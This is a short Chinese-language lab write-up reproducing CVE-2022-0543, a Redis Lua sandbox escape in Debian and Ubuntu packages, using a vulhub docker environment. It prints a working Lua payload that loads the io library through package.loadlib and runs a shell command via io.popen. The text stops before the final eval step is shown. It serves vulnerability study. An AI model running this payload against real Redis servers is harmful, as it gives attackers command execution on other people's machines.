Redis Lua沙盒绕过命令执行(CVE-2022-0543)
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package
,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
漏洞复现:
cd /vulhub/redis/CVE-2022-0543
docker-compose up -d
启动后,使用redis-cli连接服务器
Lua沙箱中遗留了一个变量package
,它的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io
。Lua中执行这个导出函数,即可获得io
库,再使用其执行命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
注:不同的环境下liblua路径不同,我的服务器为ubuntu,就用Ubuntu的路径:
/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
连接redis,使用eval
命令执行脚本: